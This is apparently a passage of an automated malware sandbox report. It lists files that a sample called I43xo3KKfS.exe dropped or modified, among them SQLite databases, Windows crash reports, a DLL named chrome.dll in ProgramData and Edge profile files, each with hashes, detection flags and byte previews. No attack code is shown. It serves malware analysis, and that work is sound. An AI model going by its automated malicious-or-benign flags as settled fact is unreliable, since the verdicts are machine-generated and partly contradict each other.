SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGHIIJKEBGIDHIDBKJD

Download File

Process:	C:\Users\user\Desktop\I43xo3KKfS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_I43xo3KKfS.exe_28bc6b3603f5f8d941a5aba9cef8425f2a398_64f2822e_66db753d-6df9-4199-9577-860096641214\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.009700292703866
Encrypted:	false
SSDEEP:	192:Zsm4lMAn0GO3LjsqZrP2E8zuiF3+Z24IO8Qe:um4lMA0GO3LjlKzuiFuY4IO8Qe
MD5:	018D9BE3F059E6B4E84E1C6A4ACC7B54
SHA1:	C2F4BD6BFD1BFCBAFC0B7A6AC67B572C5D6BC008
SHA-256:	56C7E6C85BB67CA9D378EFFB71A83BE0302C6762B90F8E4FA01AE8DDFB16C9F2
SHA-512:	CAB41EA24E13A53DD8D285BC3E0F6EB9B9708E1109F2E208884929084854B6B3934BFEB5A48DC5AAE909EA5B6E9F50B2DA1FB6BC862EB001EB6F3D1FA7FB9D64
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.8.3.5.6.5.1.6.6.4.5.1.0.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.8.3.5.6.5.2.1.4.8.8.8.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.6.d.b.7.5.3.d.-.6.d.f.9.-.4.1.9.9.-.9.5.7.7.-.8.6.0.0.9.6.6.4.1.2.1.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.8.5.4.a.5.f.e.-.c.5.4.e.-.4.1.c.6.-.9.1.4.e.-.e.1.d.0.5.3.2.e.4.9.6.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.I.4.3.x.o.3.K.K.f.S...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.1.8.-.0.0.0.1.-.0.0.1.5.-.9.b.4.0.-.c.6.d.d.6.b.2.b.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.7.0.1.1.c.e.5.e.4.d.4.2.5.9.c.2.5.6.0.a.6.a.a.1.e.b.a.9.9.e.7.0.0.0.0.f.f.f.f.!.0.0.0.0.b.c.5.8.2.a.f.a.6.7.b.9.0.0.0.6.7.6.e.d.f.9.9.9.d.1.0.7.7.d.9.c.3.d.4.2.5.f.9.4.!.I.4.3.x.o.3.K.K.f.S...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8540.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Oct 31 08:07:31 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	129602
Entropy (8bit):	2.0090869836483267
Encrypted:	false
SSDEEP:	384:Hl3GZZd9CU7gEGickJt4aCPoHV3Wv/rYDsrPYoda3uApm1erCnMxjtHY2OC1:F2Td9CIgE5LOacCmX+oT1x2d1
MD5:	5C547FF550BFC923888B3C0D2510ECB6
SHA1:	1DFB0F806F5ACF073D2F18D6907B1ECDDDB96EB0
SHA-256:	4CA140ABBFA6C95E737FBB13ABBE737E736673CA08A7CC570A2206370EA2D010
SHA-512:	522520DA3FF58C0D827FDB5091F465F49AD0083D6C9DF3B59AC71BF89086A42E08EFC7B8C68C2C6E80D75A3A490DCF55A8F0D1FB8FD1AAFA33B6F6AD1EF9805B
Malicious:	false
Preview:	MDMP..a..... ........:#g........................\|...............LI..........T.......8...........T............H..............h!..........T#..............................................................................eJ.......#......GenuineIntel............T............:#g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER866A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8360
Entropy (8bit):	3.703488338023757
Encrypted:	false
SSDEEP:	192:R6l7wVeJKv6h96Y2DNSU6Qgmfx44IpDG89bCYwsfBsum:R6lXJ66b6YgSU6Qgmfx44qCYDfG3
MD5:	F4DC7B048DB295AF0527152BD9FEDAE8
SHA1:	A3EE275767183D35DEBCB457C08962DB63436C81
SHA-256:	B879A2835E7E29D0DAFB36A1070826A9D8C9990769B1E34E58DE27E01A26F8F6
SHA-512:	E03B558D3CA4F9D142C5E71F08683F81EE13EABF06A89AF2217F7D602E8F704B0C6AE60D53E371166F9B7B6B18A0A086D4103456D4B7202AE28400315EC36B7F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.8.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER869A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4595
Entropy (8bit):	4.490726400957015
Encrypted:	false
SSDEEP:	48:cvIwWl8zsyJg77aI9VSWpW8VYrYm8M4JmH/FlWq+q8s4bPOFWed:uIjfAI7jz7V7J+WqMWWed
MD5:	2E54435F69D8BC1DB3BD670D5113A3A2
SHA1:	3F2496EB2BE971B39E0BBFCE72E8C3D7CAC94D45
SHA-256:	6D7A6983330DE0CCB63B51A82C7673C9DDA2993A269823D00626361B73090953
SHA-512:	B6346E15A6C002BD6E7962758D2DBB3D7C5FF0C5F5AE33DAD074E46A6CC108EF7E0A55B012A23185ADA361EC944A22717C0C3B07A7D2A37AE61388C9CD7F5EE5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="567310" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\I43xo3KKfS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Ky4J8k89A7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: b4s45TboUL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8b6d5c38-7013-4935-b302-a38391baefe8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44910
Entropy (8bit):	6.095687742358456
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW2hi1zNtFVGF965uDPCPrYKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynm8LKtSmd6qE7lFoC
MD5:	F7E1A54D51F6765DE57750C6A79EA37A
SHA1:	302D00BFB5B476948087D90C2FA39126909403B1
SHA-256:	01B732F8EDCC8CA9323EC6F44DEEE20B319FCB0BD3366BD6EA124E31558BA1D1
SHA-512:	B31E77924BBE5941A38A9CC52B7A3F35A14A30B3C9F53955062A7FD2F8B90422599C724418ADC5F3756C63077584AF9BF4A6233124ADAC11E4D5FF3AC23D65C5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\946f95c7-b468-4ea4-8fc5-c980224918a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.095954788719888
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW2hi1zNtFVGFNFXN5gxVfpFKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynm8iFKtSmd6qE7lFoC
MD5:	821BECEC86DF28F1C6074CE71E8C9656
SHA1:	487107F8540400D70926623BB6C869624849EE0D
SHA-256:	E5609E8F3DEE3AE2FCC261A5466E383DE6E46E1B31EE4B8EC717916BE75EC56B
SHA-512:	E503771B253368C8B50615AA7804D90111C3940575E3761A96E4905D4F495A6CFC388C6829051F92E0A5E76BA7094DBA2A582F6C3C5904470E1D76849D7D5B43
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9b7e0c63-8a8f-4c13-826a-79e2e534c269.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44910
Entropy (8bit):	6.095687742358456
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW2hi1zNtFVGF965uDPCPrYKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynm8LKtSmd6qE7lFoC
MD5:	F7E1A54D51F6765DE57750C6A79EA37A
SHA1:	302D00BFB5B476948087D90C2FA39126909403B1
SHA-256:	01B732F8EDCC8CA9323EC6F44DEEE20B319FCB0BD3366BD6EA124E31558BA1D1
SHA-512:	B31E77924BBE5941A38A9CC52B7A3F35A14A30B3C9F53955062A7FD2F8B90422599C724418ADC5F3756C63077584AF9BF4A6233124ADAC11E4D5FF3AC23D65C5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67233AB9-1F04.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.044569672879916054
Encrypted:	false
SSDEEP:	192:IwL0m5tmRnOAtqYCEJgA8x5XSggykfhbNNETUIY/0TQs8rRN/n8y08Tcm2RGOdB:VL0UteMEgk9hZ9W4rj08T2RGOD
MD5:	30179BCBF8129C4DA4D97525C2167B52
SHA1:	CE17E156769DFF854B98B30128C05C2BBDCB766F
SHA-256:	25375547C8B4526B05AE96819AA6187DED755D33239CF3B8749632D429C98850
SHA-512:	4C6088B40154116A4959CD2575AE70F8B8F0BAF51740B14DD951D4F7B7E11CC3C9B95EDB564E07EFD7F80252761BC84AB43483FC9834B4894AA0A599BEC96D86
Malicious:	false
Preview:	...@..@...@.....C.].....@...............Hc...S..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".wuknfu20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......y...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784100016918
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynndkzItSmd6qE7lFoC
MD5:	4AD74A4D4BA180E8C31F81C7D88D98A1
SHA1:	C96F92C841654B11BB3D393A2BB3E4899487D2B0
SHA-256:	80A46220C2DA6C539533BE8076A4C8A9542B49C7B074F2AF4A9F420344369254
SHA-512:	325E5C57F47B7608A4B7EFB8177D9250379AAD62F966FA7EFFDCF41FB4E9CF4C1D0F99200DBDC8EF621E98D6AD0EEF99158ED84586FF10CCBD5E377D7D9C6CA9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38c14.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784100016918
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynndkzItSmd6qE7lFoC
MD5:	4AD74A4D4BA180E8C31F81C7D88D98A1
SHA1:	C96F92C841654B11BB3D393A2BB3E4899487D2B0
SHA-256:	80A46220C2DA6C539533BE8076A4C8A9542B49C7B074F2AF4A9F420344369254
SHA-512:	325E5C57F47B7608A4B7EFB8177D9250379AAD62F966FA7EFFDCF41FB4E9CF4C1D0F99200DBDC8EF621E98D6AD0EEF99158ED84586FF10CCBD5E377D7D9C6CA9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38d8b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784100016918
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynndkzItSmd6qE7lFoC
MD5:	4AD74A4D4BA180E8C31F81C7D88D98A1
SHA1:	C96F92C841654B11BB3D393A2BB3E4899487D2B0
SHA-256:	80A46220C2DA6C539533BE8076A4C8A9542B49C7B074F2AF4A9F420344369254
